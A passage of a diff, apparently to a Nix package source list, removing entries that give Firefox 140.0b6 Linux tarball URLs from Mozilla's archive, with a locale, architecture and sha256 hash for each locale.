-      sha256 = "0381cb55121754b1ee6d8e1b2b9d02d3f36249f3c1682b9f43edee72ad8204ea";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/tl/firefox-140.0b6.tar.xz";
-      locale = "tl";
-      arch = "linux-x86_64";
-      sha256 = "0919075e4bee9347c39c798c75a99c2ce649c13616cc24b7c049a087a8a1c34d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/tr/firefox-140.0b6.tar.xz";
-      locale = "tr";
-      arch = "linux-x86_64";
-      sha256 = "418fea6d08064abbb3083b18cb984dcb3262b905b046628d0326307e345400c1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/trs/firefox-140.0b6.tar.xz";
-      locale = "trs";
-      arch = "linux-x86_64";
-      sha256 = "05314fe33cd5385b9ef91fefd2a762152ac23e37e02d7e2b472e895d57e1168e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/uk/firefox-140.0b6.tar.xz";
-      locale = "uk";
-      arch = "linux-x86_64";
-      sha256 = "e00f4d1f6bca26f76a153338d198ae66faba06890d3f4eeb5b44ddfd30eb0671";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/ur/firefox-140.0b6.tar.xz";
-      locale = "ur";
-      arch = "linux-x86_64";
-      sha256 = "082a79e6e6b5581f7875bce9ce639bce31aa8b91c5d21cb06ad5e5a14f9374f0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/uz/firefox-140.0b6.tar.xz";
-      locale = "uz";
-      arch = "linux-x86_64";
-      sha256 = "838688993ec796618ac9591a1a625f1e36b47e2e6e095dc23afe635b391901b6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/vi/firefox-140.0b6.tar.xz";
-      locale = "vi";
-      arch = "linux-x86_64";
-      sha256 = "238703e05962465bf1f5a6a92ce1087ff2e9580bf2f53f68ff1e3c6b29c0855e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/xh/firefox-140.0b6.tar.xz";
-      locale = "xh";
-      arch = "linux-x86_64";
-      sha256 = "e0d99e21a6f51a6e855d6d08fe7f2e9e843ae50e5ec5669625fdf6cda16e654d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/zh-CN/firefox-140.0b6.tar.xz";
-      locale = "zh-CN";
-      arch = "linux-x86_64";
-      sha256 = "db71a35fe0ca3c3c6e4d876fd63799d62a99782c758374329f1fc5ccf89493a8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-x86_64/zh-TW/firefox-140.0b6.tar.xz";
-      locale = "zh-TW";
-      arch = "linux-x86_64";
-      sha256 = "a870eb913257d6cc7c20de330b21bf5b6d32fae4912c3cbc35272d6b0c26229a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ach/firefox-140.0b6.tar.xz";
-      locale = "ach";
-      arch = "linux-i686";
-      sha256 = "d2f0b4c8fe575b71fef12e929319af3bf93a27a2cbf3527d93c75a07038eddf8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/af/firefox-140.0b6.tar.xz";
-      locale = "af";
-      arch = "linux-i686";
-      sha256 = "15e3d504b0a371a21fda09566740c9d103f1b170d734c3578f31ca9bb8f66cad";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/an/firefox-140.0b6.tar.xz";
-      locale = "an";
-      arch = "linux-i686";
-      sha256 = "811be339e2c8e66b7afc32d2c70adc4515a9b9569dbee6f342756b5429c2df4b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ar/firefox-140.0b6.tar.xz";
-      locale = "ar";
-      arch = "linux-i686";
-      sha256 = "7d73d8431416034c6b6c0112e2991d1f4fb248a7f8e209b922cad2a926d2c51c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ast/firefox-140.0b6.tar.xz";
-      locale = "ast";
-      arch = "linux-i686";
-      sha256 = "44e68de0c7d4280bc08cabd991eb37cc0792b680055600471ec763e43cd5b890";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/az/firefox-140.0b6.tar.xz";
-      locale = "az";
-      arch = "linux-i686";
-      sha256 = "31c4d3a48e3672a7c8fc81ebb29337e57be65999781c9d56c91456f704f81240";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/be/firefox-140.0b6.tar.xz";
-      locale = "be";
-      arch = "linux-i686";
-      sha256 = "ede450caa7f05865b3694f3821bc092e0de6616b640b4748b45673b41a33c099";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/bg/firefox-140.0b6.tar.xz";
-      locale = "bg";
-      arch = "linux-i686";
-      sha256 = "a605ad91d87ea41ce7a93f564cd7fd647ba6fce99d403754414a9dd0b3f967d7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/bn/firefox-140.0b6.tar.xz";
-      locale = "bn";
-      arch = "linux-i686";
-      sha256 = "a08d45ac7f0a780562206e552ae7ab5462a83ac14bfead0c2103ac675e5f556b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/br/firefox-140.0b6.tar.xz";
-      locale = "br";
-      arch = "linux-i686";
-      sha256 = "4f51e2f63ea3e4e5c3eb7025c125cc4b828cd8880b6736c43abfca5b879e3f8a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/bs/firefox-140.0b6.tar.xz";
-      locale = "bs";
-      arch = "linux-i686";
-      sha256 = "7e88222a53d40e8a07d8cc273b07451947cb97d0f3d496372d970903f2ad0fd4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ca-valencia/firefox-140.0b6.tar.xz";
-      locale = "ca-valencia";
-      arch = "linux-i686";
-      sha256 = "1f8687252bfdefe43c8906cdb4bf8d80fc8640228627ddc9160acfd39e628d4c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ca/firefox-140.0b6.tar.xz";
-      locale = "ca";
-      arch = "linux-i686";
-      sha256 = "24d65222d3f9219ec0be30c5ec56a6f84240bbbf21fbbe9030fd719cc2898a6d";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/cak/firefox-140.0b6.tar.xz";
-      locale = "cak";
-      arch = "linux-i686";
-      sha256 = "5059334800af7ec61d95bccba166cf2535d2bdf9741b7e3ce4ade7bd5cdd5e47";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/cs/firefox-140.0b6.tar.xz";
-      locale = "cs";
-      arch = "linux-i686";
-      sha256 = "ade2f416e75e8897310d856bfb5973361800585e6b66678623bea921a3434ee7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/cy/firefox-140.0b6.tar.xz";
-      locale = "cy";
-      arch = "linux-i686";
-      sha256 = "4351eab5adf589d168b2c198445df2071798e5a9aeaed154942594edc9a8083a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/da/firefox-140.0b6.tar.xz";
-      locale = "da";
-      arch = "linux-i686";
-      sha256 = "8942e7b9e12ca93113af82d6d962616d1c31756112e61d0dd3663cd0504a59d0";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/de/firefox-140.0b6.tar.xz";
-      locale = "de";
-      arch = "linux-i686";
-      sha256 = "59067654101e138c156bc0cca05ecf34ec16aab9a4e5de9a6ce2e3bc26c3261b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/dsb/firefox-140.0b6.tar.xz";
-      locale = "dsb";
-      arch = "linux-i686";
-      sha256 = "526ce1d68ea90d5a3588b179ac64a303d9d23ef2b46b4fe91b7942ab60ccc2d6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/el/firefox-140.0b6.tar.xz";
-      locale = "el";
-      arch = "linux-i686";
-      sha256 = "7d48fc74739da6112497526c0937a3e5865b5df23e3487e3f946d828a2570fbd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/en-CA/firefox-140.0b6.tar.xz";
-      locale = "en-CA";
-      arch = "linux-i686";
-      sha256 = "45da4da2bcb75edc054a52ee20aff8dafa5bdd0bcc90670c1fd25b43ad52dfd5";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/en-GB/firefox-140.0b6.tar.xz";
-      locale = "en-GB";
-      arch = "linux-i686";
-      sha256 = "f38ce30e7897332d617cb0b1b6524f34f76e49d4e7a17d8497d4c8e5bf48fb87";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/en-US/firefox-140.0b6.tar.xz";
-      locale = "en-US";
-      arch = "linux-i686";
-      sha256 = "744bb60dfe646854831b6b2370190ad5dfc304dd6554deff999516c56e6d81da";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/eo/firefox-140.0b6.tar.xz";
-      locale = "eo";
-      arch = "linux-i686";
-      sha256 = "afced063370710bf3d41bad286f7bcab50913a84ba1b91d50afc8426ce51a2bf";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-AR/firefox-140.0b6.tar.xz";
-      locale = "es-AR";
-      arch = "linux-i686";
-      sha256 = "eb29815d5e8eb1eb042fa81dba0d36537b2454511da08848842d544bf8cfb18b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-CL/firefox-140.0b6.tar.xz";
-      locale = "es-CL";
-      arch = "linux-i686";
-      sha256 = "61d15090c8d7d2b0e2a11cab506da51cb2c373b120e678570cd9b676d8f66966";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-ES/firefox-140.0b6.tar.xz";
-      locale = "es-ES";
-      arch = "linux-i686";
-      sha256 = "a1faac6928171076c66f71be8f29c17547bb92989b163bc4ad074577394a0173";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/es-MX/firefox-140.0b6.tar.xz";
-      locale = "es-MX";
-      arch = "linux-i686";
-      sha256 = "f513b34704478c1887552ce2d25d1967d103320fbbaf7a603c956fb2453befc3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/et/firefox-140.0b6.tar.xz";
-      locale = "et";
-      arch = "linux-i686";
-      sha256 = "f907f4648ea7af3ae32a5961c166610a3c7758d94e0f952ca52cb33b78a5cfb3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/eu/firefox-140.0b6.tar.xz";
-      locale = "eu";
-      arch = "linux-i686";
-      sha256 = "290d946ce84974b3c632f9c3e061d90a9a99edccde8ded6a42986385e0eeff89";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fa/firefox-140.0b6.tar.xz";
-      locale = "fa";
-      arch = "linux-i686";
-      sha256 = "370aa3e5cd53d25654f317239ad54399d9e0dd66e3ea087216c6e6d0d2733af6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ff/firefox-140.0b6.tar.xz";
-      locale = "ff";
-      arch = "linux-i686";
-      sha256 = "541b9ddef7f2ab5890e1f5a2f406b1fb9a2ecd9deab6ac133b99c95fb2cae12a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fi/firefox-140.0b6.tar.xz";
-      locale = "fi";
-      arch = "linux-i686";
-      sha256 = "b98d0801eef3570adbd582c7c0c986ff04458e9d1dd2ebc51c5bb1fbde2dcb73";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fr/firefox-140.0b6.tar.xz";
-      locale = "fr";
-      arch = "linux-i686";
-      sha256 = "1fca999a4f229c6cb0873ca8aa8394037cb6c714830fbbcd37ee28ffe9c718f3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fur/firefox-140.0b6.tar.xz";
-      locale = "fur";
-      arch = "linux-i686";
-      sha256 = "83ae16e567c02107d7ba91939e5646ef6cba12599f7e38ca78a55b535482bf16";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/fy-NL/firefox-140.0b6.tar.xz";
-      locale = "fy-NL";
-      arch = "linux-i686";
-      sha256 = "d2c2f3e5b5af91decea6b7ebf5dab2f3d1af8bcbf646b7fa3c43f520a22566f9";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ga-IE/firefox-140.0b6.tar.xz";
-      locale = "ga-IE";
-      arch = "linux-i686";
-      sha256 = "297539876431286bf553f117fab3a7b685531d72598f304d3458ff4a517587b4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gd/firefox-140.0b6.tar.xz";
-      locale = "gd";
-      arch = "linux-i686";
-      sha256 = "475bcb51afdaa55ac37bc726ba3fee59fc10b94b9b599a93ac6abd4733d09cb3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gl/firefox-140.0b6.tar.xz";
-      locale = "gl";
-      arch = "linux-i686";
-      sha256 = "207410a4654026bb5c7ce013292f56cd01c29b2258fdb0a9814e0d5d77b149b4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gn/firefox-140.0b6.tar.xz";
-      locale = "gn";
-      arch = "linux-i686";
-      sha256 = "99eb7d29efbbf6e554900813317319e0fa3ad63f7eee9ca25de095cbcc493fd7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/gu-IN/firefox-140.0b6.tar.xz";
-      locale = "gu-IN";
-      arch = "linux-i686";
-      sha256 = "bd709c5ec938d75c7d671c5daa148504d6c9ca92aeb99d3d18c8c3925f6a18cb";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/he/firefox-140.0b6.tar.xz";
-      locale = "he";
-      arch = "linux-i686";
-      sha256 = "5ff6c30851da3fbc1264a756a5033a727bd034389a907f977c01f19e98a1adde";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hi-IN/firefox-140.0b6.tar.xz";
-      locale = "hi-IN";
-      arch = "linux-i686";
-      sha256 = "027a328ca0740683923a1c3ff25a819948145c242ceab503e5104818b272afa6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hr/firefox-140.0b6.tar.xz";
-      locale = "hr";
-      arch = "linux-i686";
-      sha256 = "e80303a7d26effef99db9a6c4f1503f4741398448b3bbec31ed9b01d06b7fd40";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hsb/firefox-140.0b6.tar.xz";
-      locale = "hsb";
-      arch = "linux-i686";
-      sha256 = "f977ea04c392b706c821eb7768128868d542dfacd6c3473196e938f47bfcfad6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hu/firefox-140.0b6.tar.xz";
-      locale = "hu";
-      arch = "linux-i686";
-      sha256 = "46c7ca5364ad35e8e228d6b3d85dfbc1021250b9c476f49cd6a893fc6a901b04";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/hy-AM/firefox-140.0b6.tar.xz";
-      locale = "hy-AM";
-      arch = "linux-i686";
-      sha256 = "c1e295ec58562a570995049960f82ea50f1af7019fea5347a1a5dee96e07fc3e";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ia/firefox-140.0b6.tar.xz";
-      locale = "ia";
-      arch = "linux-i686";
-      sha256 = "04d95ce50b8043066bb7504299f474f8aa7dac6492ff02358a88c8d3d8fb3e99";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/id/firefox-140.0b6.tar.xz";
-      locale = "id";
-      arch = "linux-i686";
-      sha256 = "2d2427f8cc377920f4fc30335aa4592eda7b5d2886080153b3da3b4f4d2a73f1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/is/firefox-140.0b6.tar.xz";
-      locale = "is";
-      arch = "linux-i686";
-      sha256 = "f9b3a865e6bb380aacb2f4b334b93add7034547be50052027b02fcd834b75ecd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/it/firefox-140.0b6.tar.xz";
-      locale = "it";
-      arch = "linux-i686";
-      sha256 = "5370c6da3f46aef9026846bc5bc0566fb90a32aa0754db8fae8b607a4d2a43fd";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ja/firefox-140.0b6.tar.xz";
-      locale = "ja";
-      arch = "linux-i686";
-      sha256 = "9d08742f62ae6ca7b165f2f96bf6271d2cf0046d7193c8b9f2cdb34d03b96859";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ka/firefox-140.0b6.tar.xz";
-      locale = "ka";
-      arch = "linux-i686";
-      sha256 = "1f02ea4d7ef27f1a3d91619c36bd7792ae98f372ead28eb113855b8fd04ab910";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/kab/firefox-140.0b6.tar.xz";
-      locale = "kab";
-      arch = "linux-i686";
-      sha256 = "6fa89a1a815c47a995ff59d07146d61cd7d89c2bcb9ccea47487b50c532924a1";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/kk/firefox-140.0b6.tar.xz";
-      locale = "kk";
-      arch = "linux-i686";
-      sha256 = "6753dc18bb24785def22e0dca28396b78d68844bd6938e3dcaeaba1065e2d3ae";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/km/firefox-140.0b6.tar.xz";
-      locale = "km";
-      arch = "linux-i686";
-      sha256 = "9a1a7159d5c46f610aed98e90cacbbd212d20ff728aa4c631e162fbaf6d8406c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/kn/firefox-140.0b6.tar.xz";
-      locale = "kn";
-      arch = "linux-i686";
-      sha256 = "cb088595f1d75e551abd1d73d6a538b4cbb8bad5b6ec01e56fefcc10fd9e0706";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ko/firefox-140.0b6.tar.xz";
-      locale = "ko";
-      arch = "linux-i686";
-      sha256 = "4e4804dd60447ca1e679f8d47dc6135e1f3206b7b43af6dd005e022802f6b48c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/lij/firefox-140.0b6.tar.xz";
-      locale = "lij";
-      arch = "linux-i686";
-      sha256 = "9c5d5b72d87a7c264bd7f3c7dba35396ce1ccdd8c65849b00be6eee217f4d3f7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/lt/firefox-140.0b6.tar.xz";
-      locale = "lt";
-      arch = "linux-i686";
-      sha256 = "c5d223f1330fb422e93cfcb3260e1c01304b0d6fb679eebdfeff03981b83c359";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/lv/firefox-140.0b6.tar.xz";
-      locale = "lv";
-      arch = "linux-i686";
-      sha256 = "114b816891f56fdcea51d1f884bb8296f6ec2d4f681606369d5dfc9ec9e2fdb6";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/mk/firefox-140.0b6.tar.xz";
-      locale = "mk";
-      arch = "linux-i686";
-      sha256 = "6b5b923590b1fe5f44dd9c66786a975a1daaa960d347ebafb4f4e68944d3cc44";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/mr/firefox-140.0b6.tar.xz";
-      locale = "mr";
-      arch = "linux-i686";
-      sha256 = "74ea9528539de6d1eb5ca192771086f8b0de3605fe1832ec2e36f34b5bac6888";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ms/firefox-140.0b6.tar.xz";
-      locale = "ms";
-      arch = "linux-i686";
-      sha256 = "a91bf31e8d1d10e8e9130fd17b51746ef82d97c0bfe13315234d84307e1545e8";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/my/firefox-140.0b6.tar.xz";
-      locale = "my";
-      arch = "linux-i686";
-      sha256 = "00d39a9f695533772299e360e37a9802e3a3c4b6f1abc9c497c463005ea1574a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/nb-NO/firefox-140.0b6.tar.xz";
-      locale = "nb-NO";
-      arch = "linux-i686";
-      sha256 = "974b886f74d31d85d895235de365d3f0b600ff6e7a3f30c79d5ce7752e379f7f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ne-NP/firefox-140.0b6.tar.xz";
-      locale = "ne-NP";
-      arch = "linux-i686";
-      sha256 = "e1eee217e3b7b553b4ca8d558efba40b2edde4ed638953d1e6a0915c175b49fe";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/nl/firefox-140.0b6.tar.xz";
-      locale = "nl";
-      arch = "linux-i686";
-      sha256 = "c54d599a561e854b9ceff273d33b80ecb309a5020e49d8048b2ea66c1cdde8b7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/nn-NO/firefox-140.0b6.tar.xz";
-      locale = "nn-NO";
-      arch = "linux-i686";
-      sha256 = "e75f486146d99c1cc914676ac94fb1525f560a1de0c75c34d07271d6186e019a";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/oc/firefox-140.0b6.tar.xz";
-      locale = "oc";
-      arch = "linux-i686";
-      sha256 = "6bf3e0d03d5322ad4b1201ece3f5e0a5cae2af55fa05b60ab49cb6baa5dc4867";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pa-IN/firefox-140.0b6.tar.xz";
-      locale = "pa-IN";
-      arch = "linux-i686";
-      sha256 = "3a992433e2e830936b1058ad2d367fb350f6c15664244557248b405d2c954b08";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pl/firefox-140.0b6.tar.xz";
-      locale = "pl";
-      arch = "linux-i686";
-      sha256 = "da7da39491ac13769a6673b4e6f126c156dd2913ab6d620ca1055a72aaac5254";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pt-BR/firefox-140.0b6.tar.xz";
-      locale = "pt-BR";
-      arch = "linux-i686";
-      sha256 = "eea15f6e8b4b044dcea2031611fe076aab859bbf402908cfb2910e892ce0ee18";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/pt-PT/firefox-140.0b6.tar.xz";
-      locale = "pt-PT";
-      arch = "linux-i686";
-      sha256 = "5fdb682b34ca8d49c684752b9e02c87220b90324e1ca80a364aabf91e41666b3";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/rm/firefox-140.0b6.tar.xz";
-      locale = "rm";
-      arch = "linux-i686";
-      sha256 = "49e7c74c44294802392928abc00d2602c3f2154ec04e6f48b6a612cfb24cc43b";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ro/firefox-140.0b6.tar.xz";
-      locale = "ro";
-      arch = "linux-i686";
-      sha256 = "ba5e9d888d7416c25882776486cbf8f2098c676dd4f2d56ab65b506477949451";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ru/firefox-140.0b6.tar.xz";
-      locale = "ru";
-      arch = "linux-i686";
-      sha256 = "219cf4ad9f20736b7d0f6d018daeb39f2410f5bd70abd8b3329d6e5a461ed495";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sat/firefox-140.0b6.tar.xz";
-      locale = "sat";
-      arch = "linux-i686";
-      sha256 = "64ab98b82919db52ea2434fff7d65f82b4283370c694e42315023477d84344ec";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sc/firefox-140.0b6.tar.xz";
-      locale = "sc";
-      arch = "linux-i686";
-      sha256 = "7b167dd8f162d5235bee196db9c4855caf819bc8731d1ec7156a37b55acb52f4";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sco/firefox-140.0b6.tar.xz";
-      locale = "sco";
-      arch = "linux-i686";
-      sha256 = "2d8b1adc2b3d34d621ef2bca5020e41e89f9e8534ab6d91e56a4ad3ed04e7b97";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/si/firefox-140.0b6.tar.xz";
-      locale = "si";
-      arch = "linux-i686";
-      sha256 = "e12f2ec9b3ca80de69c96fd7d4f208ca8d7555e436c7848202b65c043af64e3c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sk/firefox-140.0b6.tar.xz";
-      locale = "sk";
-      arch = "linux-i686";
-      sha256 = "cb16aa9355ef7e8eb43b18d19f9dbdc0bbea9fc36a1ab13317678de0e2af6a24";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/skr/firefox-140.0b6.tar.xz";
-      locale = "skr";
-      arch = "linux-i686";
-      sha256 = "e56e34598b0ec80d599dce78cd2d4c9859468eb2cb2877da53ce529baa38da31";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sl/firefox-140.0b6.tar.xz";
-      locale = "sl";
-      arch = "linux-i686";
-      sha256 = "21de66e4aeb3f66fea37be933f4b8a376c0048297768d88c0f1a65f4d5f09f8c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/son/firefox-140.0b6.tar.xz";
-      locale = "son";
-      arch = "linux-i686";
-      sha256 = "541a51db2ee1d8854fe949901ebb15c0f6969f87bdffa1815bc4a6ef93321570";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sq/firefox-140.0b6.tar.xz";
-      locale = "sq";
-      arch = "linux-i686";
-      sha256 = "0584176b701fcd82ecb53723ebbb793846680873adaca5b1b32abe8e149ed1e7";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sr/firefox-140.0b6.tar.xz";
-      locale = "sr";
-      arch = "linux-i686";
-      sha256 = "23936d0de1043c74b1e971d7ca721324016d98158781b517ce024beef092412c";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/sv-SE/firefox-140.0b6.tar.xz";
-      locale = "sv-SE";
-      arch = "linux-i686";
-      sha256 = "bae54d47460f3c11773d252f3e1029e754bc4d6e3ce273ca584146054a7b2acc";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/szl/firefox-140.0b6.tar.xz";
-      locale = "szl";
-      arch = "linux-i686";
-      sha256 = "d2419e9f0a9f72d4ebce03887489af6d7b5a997e7d7334ff893ef18e44c84763";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/ta/firefox-140.0b6.tar.xz";
-      locale = "ta";
-      arch = "linux-i686";
-      sha256 = "8c3cadbded3754fc10a0b261cabe28a0b68d1185403f0d37849d455778aeae78";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/te/firefox-140.0b6.tar.xz";
-      locale = "te";
-      arch = "linux-i686";
-      sha256 = "6bbd734e9ddb18d4ea281da0beed20a601196b9a720438d6697efdb30508ad75";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/tg/firefox-140.0b6.tar.xz";
-      locale = "tg";
-      arch = "linux-i686";
-      sha256 = "adb666a98cf8648a4633206020e27517ad39cb950c248541b9434f21446288ee";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/th/firefox-140.0b6.tar.xz";
-      locale = "th";
-      arch = "linux-i686";
-      sha256 = "0179b0d20e57e6cb67da17f28d2391a3318a550227e752e1906d0c579aab6a3f";
-    }
-    {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-i686/tl/firefox-140.0b6.tar.xz";
-      locale = "tl";
-      arch = "linux-i686";
-      sha256 = "6124e86e5d986a503a6fd0c185057162ea3540503d80999eafe3a34680e0bad6";
-    }
-    {
